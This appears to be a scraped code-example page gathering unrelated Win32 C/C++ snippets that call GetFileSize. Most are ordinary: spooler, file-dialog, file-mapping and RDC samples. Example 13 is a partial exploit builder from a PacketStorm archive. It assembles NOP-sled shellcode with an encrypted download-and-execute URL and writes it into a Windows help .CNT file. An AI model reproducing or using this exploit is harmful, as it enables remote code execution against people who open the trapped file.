    cbFileSize = sizeof(SHD_HEADER) + cbDatatype + cbDocumentName + cbDevMode + cbMachineName + cbNotifyName + cbPrinterDriver + cbPrinterName + cbPrintProcessor + cbPrintProcessorParameters + cbUserName;

    // Allocate memory for it.
    pShadowFile = DllAllocSplMem(cbFileSize);
    if (!pShadowFile)
    {
        ERR("DllAllocSplMem failed with error %lu for file \"%S\"!\n", GetLastError(), pwszFilePath);
        goto Cleanup;
    }

    // Fill out the shadow file header information.
    pShadowFile->dwSignature = SHD_WIN2003_SIGNATURE;
    pShadowFile->cbHeader = sizeof(SHD_HEADER);

    // Copy the values.
    pShadowFile->dwJobID = pJob->dwJobID;
    pShadowFile->dwPriority = pJob->dwPriority;
    pShadowFile->dwStartTime = pJob->dwStartTime;
    pShadowFile->dwTotalPages = pJob->dwTotalPages;
    pShadowFile->dwUntilTime = pJob->dwUntilTime;
    CopyMemory(&pShadowFile->stSubmitted, &pJob->stSubmitted, sizeof(SYSTEMTIME));

    // Determine the file size of the .SPL file
    wcscpy(wcsrchr(pwszFilePath, L'.'), L".SPL");
    hSPLFile = CreateFileW(pwszFilePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    if (hSPLFile != INVALID_HANDLE_VALUE)
        pShadowFile->dwSPLSize = GetFileSize(hSPLFile, NULL);

    // Add the extra values that are stored as offsets in the shadow file.
    // The first value begins right after the shadow file header.
    dwCurrentOffset = sizeof(SHD_HEADER);

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszDatatype, cbDatatype);
    pShadowFile->offDatatype = dwCurrentOffset;
    dwCurrentOffset += cbDatatype;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pDevMode, cbDevMode);
    pShadowFile->offDevMode = dwCurrentOffset;
    dwCurrentOffset += cbDevMode;

    // offDriverName is only written, but automatically determined through offPrinterName when reading.
    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrinter->pwszPrinterDriver, cbPrinterDriver);
    pShadowFile->offDriverName = dwCurrentOffset;
    dwCurrentOffset += cbPrinterDriver;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pwszMachineName, cbMachineName);
    pShadowFile->offMachineName = dwCurrentOffset;
    dwCurrentOffset += cbMachineName;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrinter->pwszPrinterName, cbPrinterName);
    pShadowFile->offPrinterName = dwCurrentOffset;
    dwCurrentOffset += cbPrinterName;

    CopyMemory((PBYTE)pShadowFile + dwCurrentOffset, pJob->pPrintProcessor->pwszName, cbPrintProcessor);
    pShadowFile->offPrintProcessor = dwCurrentOffset;
    dwCurrentOffset += cbPrintProcessor;

    // Copy the optional values.
//.........这里部分代码省略.........
开发者ID:reactos,项目名称:reactos,代码行数:101,代码来源:jobs.c


示例12: WndProc

//
//  FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
//  PURPOSE:  Processes messages for the main window.
//
//  WM_COMMAND	- process the application menu
//  WM_PAINT	- Paint the main window
//  WM_DESTROY	- post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;

	switch (message) 
	{
        HANDLE_MSG(hWnd, WM_PAINT, OnPaint);

		case WM_COMMAND:
			wmId    = LOWORD(wParam); 
			wmEvent = HIWORD(wParam); 
			// Parse the menu selections:
			switch (wmId)
			{
				case IDM_OPEN:
				{
					TCHAR szPathName[_MAX_PATH];    // Maximum file name size is 260 characters.
					OPENFILENAME ofn;

					BOOL bReturn;
					DWORD dw;
					int cbSize = sizeof(OPENFILENAME);

					szPathName[0] = 0;

					memset(&ofn, 0, cbSize);
					ofn.lStructSize = cbSize;
					ofn.hwndOwner = hWnd;
					ofn.lpstrFilter = TEXT("Text files\0*.txt\0All files\0*.*\0");
					ofn.nFilterIndex = 1;
					ofn.lpstrFile = szPathName;
					ofn.nMaxFile = _MAX_PATH;
					ofn.Flags = OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
					ofn.lpstrDefExt = TEXT("txt");
					bReturn = GetOpenFileName(&ofn);
					if(bReturn)
					{
						MessageBox(hWnd,szPathName,_T("File Selected"),MB_OK);
						HANDLE hFile = CreateFile(szPathName, 
										   GENERIC_READ,
										   FILE_SHARE_READ,
										   NULL,
										   OPEN_EXISTING,
										   FILE_ATTRIBUTE_NORMAL,
										   NULL);
						if (hFile == (HANDLE)0xffffffff)
						{
							MessageBox(hWnd, TEXT("Call to CreateFile failed"), achAppName, MB_OK);
							return 0L;
						}

						// Free memory if we've allocated any before.
						if (pData)
						{
    
							VirtualFree(pData, 0, MEM_RELEASE);
							pData = NULL;
						}

						// Determine file size first.
						DWORD dwFileSize = GetFileSize(hFile, NULL);
						pData = (TCHAR *)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);

						DWORD dwRead;
						ReadFile(hFile, pData, dwFileSize, &dwRead, NULL);
						CloseHandle(hFile);

						InvalidateRect(hWnd, NULL, TRUE);
						return 0L;
					}
					else
					{
						dw = CommDlgExtendedError();
						if(dw==0)
							MessageBox(hWnd,_T("User clicked cancel"),_T("Open"),MB_OK);
						else
							MessageBox(hWnd,_T("Error"),_T("Open"),MB_OK);
					}
				}
				    break;
				case IDM_HELP_ABOUT:
				   DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
				   break;
				case IDM_FILE_EXIT:
				   DestroyWindow(hWnd);
				   break;
				default:
				   return DefWindowProc(hWnd, message, wParam, lParam);
			}
			break;
//.........这里部分代码省略.........
开发者ID:venkatarajasekhar,项目名称:repo,代码行数:101,代码来源:OPEN.cpp


示例13: main


//.........这里部分代码省略.........
		" * by an application.                                    *\n"
		" * ***************************************************** *\n"	
	);

	ExitProcess (1);
}

if (argv[3]) RetByte = atoi (argv[3]) + 0xE0;

len = taille + strlen (argv[1]) + 2 + 4;
url = (char *) malloc (strlen (argv[1]));
strcpy (url, argv[1]);

/*
* Create the final shellcode
*/

Shellcode = (unsigned char *) malloc (len);

// encrypt the URL
for (i=0;i<strlen (argv[1]); argv[1][i++]^=0x99);

// inject the RealGenericShellcode in the shellcode buffer
for (i=0;i<taille; Shellcode[i]=RealGenericShellcode[i++]);

// append crypted URL to the shellcode buffer
for (i,j=0;i<len - 1;Shellcode[i++]=argv[1][j++]);


Shellcode[len-6]=0x99; // URL delimitation
Shellcode[len-5]=0x2E; // fuck the winhlp32.exe parser

// append the RET ADDR
// Play with this bytes if the xploit don't work
Shellcode[len-4]=0x30;
Shellcode[len-3]=RetByte;
Shellcode[len-2]=0x06;
Shellcode[len-1]=0x00;


/*  Now, we make a vuln string for our exploit */

buffer = (unsigned char *) malloc (VulnLen);
memset (buffer,0,VulnLen);

lstrcpy (buffer,":Link ");
for (i=6; i < VulnLen - len; buffer[i++] = (char)0x90);
for (i,j=0; i < VulnLen; buffer[i++] = Shellcode[j++]);


/* Trap the CNT file specified with the vuln string */

ExploitFile = CreateFile (argv[2],GENERIC_READ+GENERIC_WRITE,
			  FILE_SHARE_READ+FILE_SHARE_WRITE,NULL,
			  OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);

if ( ExploitFile == INVALID_HANDLE_VALUE) {
	printf ("Error : cannot open cnt file '%s'\n",argv[2]);
	ExitProcess (1);
}

	FileSize = GetFileSize(ExploitFile, &lpFileSizeHigh);
	FileSize += lpFileSizeHigh*MAXDWORD;

	file = (char *)LocalAlloc (LPTR, FileSize + 2);
	file[0] = 0x0d;
	file[1] = 0x0a;
	file += 2;


	ReadFile(ExploitFile,file,FileSize,&lpNumberOfBytesWritten,NULL);
	
	SetFilePointer (ExploitFile,0,NULL,FILE_BEGIN);
	WriteFile (ExploitFile,buffer,VulnLen,&lpNumberOfBytesWritten,NULL);
	
	file -= 2;
	WriteFile (ExploitFile,file,FileSize+2,&lpNumberOfBytesWritten,NULL);
	
	CloseHandle(ExploitFile);
	
        printf (
		" * *******************************************************\n"
		" * The file is now traped and ready to download and exe- *\n"
		" * cute :                                                *\n"
		" * File : %s\n"
		" * At : %s\n"
		" * *******************************************************\n"
		,argv[2],url);
		
		if (RetByte != 0xE5)
			printf (
				" * *******************************************************\n"
				" * You have specified this address : 0x0006%x30          *\n"
				" * The abitrary will loaded since an application.        *\n"
				" * *******************************************************\n"
				,RetByte);
			

	return 0;
}
开发者ID:BuddhaLabs,项目名称:PacketStorm-Exploits,代码行数:101,代码来源:s0h_Win32hlp.c


示例14: read

int read(LPTSTR lpFileName, DWORD offset, DWORD len)
{
	// Open the file
	HANDLE hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, 
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	
	if (hFile == INVALID_HANDLE_VALUE) {
		printf("hFile is NULL\n");
		printf("Target file is %s\n", lpFileName);
		return 4;
	}
	
	SYSTEM_INFO SysInfo;          // system information; used to get the granularity
	DWORD dwSysGran;              // system allocation granularity
	// Get the system allocation granularity.
	GetSystemInfo(&SysInfo);
	dwSysGran = SysInfo.dwAllocationGranularity;
	
	DWORD dwFileSize;             // temporary storage for file sizes
	// Let the user know that the resulting file is more than large enough
	// for the experiment.
	dwFileSize = GetFileSize(hFile,  NULL);
	printf("hFile size: %10d\n", dwFileSize);
	
	if(offset >= dwFileSize)
	{
		offset = 0;
	}
	if(len <= 0)
	{
		len = dwFileSize;
	}
	
	// Now calculate a few variables. Calculate the file offsets as
	// 64-bit values, and then get the low-order 32 bits for the
	// function calls.
	DWORD dwFileMapSize;          // size of the file mapping
	DWORD dwMapViewSize;          // the size of the view
	DWORD dwFileMapStart;         // where in the file to start the file map view
	// To calculate where to start the file mapping, round down the
	// offset of the data into the file to the nearest multiple of the
	// system allocation granularity. 
	dwFileMapStart = (offset / dwSysGran) * dwSysGran;
	printf ("The file map view starts at %ld bytes into the file.\n",
		dwFileMapStart);
	
	// Calculate the size of the file mapping view.
	dwMapViewSize = (offset % dwSysGran) + len;
	printf ("The file map view is %ld bytes large.\n", dwMapViewSize);
	
	// How large will the file-mapping object be?
	dwFileMapSize = offset + len;
	printf ("The file-mapping object is %ld bytes large.\n", dwFileMapSize);
	
	int iViewDelta;               // the offset into the view where the data shows up
	// The data of interest isn't at the beginning of the
	// view, so determine how far into the view to set the pointer.
	iViewDelta = offset - dwFileMapStart;
	printf ("The data is %d bytes into the view.\n", iViewDelta);
	
	
	HANDLE hMapFile;              // handle for the test file's memory-mapped region
	// Create a file-mapping object for the file.
	hMapFile = CreateFileMapping( hFile, // current file handle
		NULL, // default security
		PAGE_READWRITE, // read/write permission
		0,  // size of mapping object, high
		dwFileMapSize, // size of mapping object, low
		NULL); // name of mapping object
	
	if (hMapFile == NULL) {
		printf("hMapFile is NULL: last error: %d\n", GetLastError() );
		return 5;
	}
	
	LPVOID lpMapAddress;          // pointer to the base address of the memory-mapped region
	// Map the view and test the results.	
	lpMapAddress = MapViewOfFile(hMapFile, // handle to mapping object
		FILE_MAP_ALL_ACCESS, // read/write permission 
		0, // high-order 32 bits of file offset
		dwFileMapStart, // low-order 32 bits of file offset
		dwMapViewSize); // number of bytes to map
	if (lpMapAddress == NULL) {
		printf("lpMapAddress is NULL: last error: %d\n", GetLastError());
		return 6;
	}
	
	char* pData = (char *) lpMapAddress + iViewDelta;
	DWORD i;
	int x;
	//    dump((char *)pData, BUFFSIZE);
// 	for(i = 0; i < len; i++)
// 	{
// 		if(i % 16 == 0)
// 		{
// 			printf("\n");
// 		}
// 		x = (int)(*(pData + i)) & 0xFF;
// 		printf("%2X ", x);
// 	}
//.........这里部分代码省略.........
开发者ID:jjcmontano,项目名称:basic-algorithm-operations,代码行数:101,代码来源:filemap.cpp


示例15: wcsncpy_s


//.........这里部分代码省略.........
                               m_SourceFileName,
                               GENERIC_READ,
                               FILE_SHARE_READ,
                               0,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               0 ) );

        if ( !m_SourceFile.IsValid() )
        {
            hr = HRESULT_FROM_WIN32 ( GetLastError() );
        }
    }

    if ( SUCCEEDED ( hr ) && !GetFileInformationByHandle ( m_SourceFile.GetHandle(), &m_SourceFileInformation ) )
    {
        hr = HRESULT_FROM_WIN32 ( GetLastError() );
    }

    if ( SUCCEEDED ( hr ) )
    {
        fileInfo->m_FileSize =
            ( static_cast<ULONGLONG> ( m_SourceFileInformation.nFileSizeHigh ) << 32 ) |
            m_SourceFileInformation.nFileSizeLow;

        bool existing;
        hr = CreateSignatureFiles ( existing, deleteSigs );

        if ( !existing )
        {
            if ( SUCCEEDED ( hr ) )
            {
                m_GeneratorJobInfo = new ( std::nothrow ) RdcGeneratorJob();
                if ( !m_GeneratorJobInfo )
                {
                    hr = E_OUTOFMEMORY;
                }
            }

            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHorizonSize1 ( horizonSize1 );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHorizonSizeN ( horizonSizeN );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHashWindowSize1 ( hashWindowSize1 );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->SetHashWindowSizeN ( hashWindowSizeN );
            }
            if ( SUCCEEDED ( hr ) )
            {
                hr = m_GeneratorJobInfo->AllocateGenerator ( fileInfo->m_FileSize,
                        fileInfo->m_SignatureDepth );
            }
            if ( SUCCEEDED ( hr ) )
            {
                fileInfo->m_SignatureDepth = m_GeneratorJobInfo->GetDepth();
            }

            if ( FAILED ( hr ) )
            {
                delete m_GeneratorJobInfo;
                m_GeneratorJobInfo = 0;
            }
        }
        else
        {
            for ( fileInfo->m_SignatureDepth = 0; fileInfo->m_SignatureDepth < MSRDC_MAXIMUM_DEPTH; ++fileInfo->m_SignatureDepth )
            {
                if ( !m_SignatureFiles[fileInfo->m_SignatureDepth].IsValid() )
                {
                    break;
                }
                ULONGLONG fileSize = 0;
                hr = GetFileSize ( fileInfo->m_SignatureDepth + 1, &fileSize );
                if ( FAILED ( hr ) )
                {
                    break;
                }
                if ( fileSize == 0 )
                {
                    break;
                }
            }
        }
    }
    if ( FAILED ( hr ) )
    {
        m_SourceFile.Close();
        CloseSignatureFiles();
    }

    return hr;
}
开发者ID:Essjay1,项目名称:Windows-classic-samples,代码行数:101,代码来源:RdcFileHandleImpl.cpp


示例16: _T

该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
C++ GetFileSizeEx函数代码示例发布时间:2022-05-30
下一篇:
C++ GetFilePath函数代码示例发布时间:2022-05-30
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap